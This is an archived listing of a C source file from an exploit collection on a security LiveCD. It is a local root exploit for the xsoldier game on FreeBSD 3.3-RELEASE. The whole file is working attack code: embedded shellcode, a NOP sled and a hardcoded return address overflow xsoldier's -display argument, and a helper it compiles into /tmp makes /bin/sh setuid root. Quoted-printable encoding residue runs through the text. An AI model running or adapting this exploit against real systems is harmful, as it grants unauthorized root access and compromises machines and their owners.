home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xsoldier / xsoldier.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  69 lines

  1. /* =
  2.  
  3.  * xsoldier exploit for Freebsd-3.3-RELEASE
  4.  * Drops a suid root shell in /bin/sh
  5.  * Brock Tellier btellier@usa.net
  6.  */
  7.  
  8.  
  9. #include <stdio.h>
  10.  
  11. char shell[]=3D /* mudge@l0pht.com */
  12.   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  13.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  14.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  15.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
  16.  
  17. #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
  18.  
  19. void buildui() {
  20. FILE *fp;
  21.   char cc[100];
  22.   fp =3D fopen("/tmp/ui.c", "w");
  23.   fprintf(fp, CODE);
  24.   fclose(fp);
  25.   snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  26.   system(cc);
  27. }
  28.  
  29. main (int argc, char *argv[] ) {
  30.  int x =3D 0;
  31.  int y =3D 0;
  32.  int offset =3D 0;
  33.  int bsize =3D 4400;
  34.  char buf[bsize];
  35.  int eip =3D 0xbfbfdb65; /* works for me */
  36.  buildui();
  37.  
  38.  if (argv[1]) { =
  39.  
  40.    offset =3D atoi(argv[1]);
  41.    eip =3D eip + offset;
  42.  }
  43.  fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
  44. <btellier@usa.net>\n");
  45.  fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
  46.  fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsi=
  47. ze);
  48.  =
  49.  
  50.  for ( x =3D 0; x < 4325; x++) buf[x] =3D 0x90;
  51.      fprintf(stderr, "NOPs to %d\n", x);
  52.  =
  53.  
  54.  for ( y =3D 0; y < 67 ; x++, y++) buf[x] =3D shell[y];
  55.      fprintf(stderr, "Shellcode to %d\n",x);
  56.   =
  57.  
  58.   buf[x++] =3D  eip & 0x000000ff;
  59.   buf[x++] =3D (eip & 0x0000ff00) >> 8;
  60.   buf[x++] =3D (eip & 0x00ff0000) >> 16;
  61.   buf[x++] =3D (eip & 0xff000000) >> 24;
  62.      fprintf(stderr, "eip to %d\n",x);
  63.  
  64.  buf[bsize]=3D'\0';
  65.  
  66. execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
  67.  
  68. }
  69.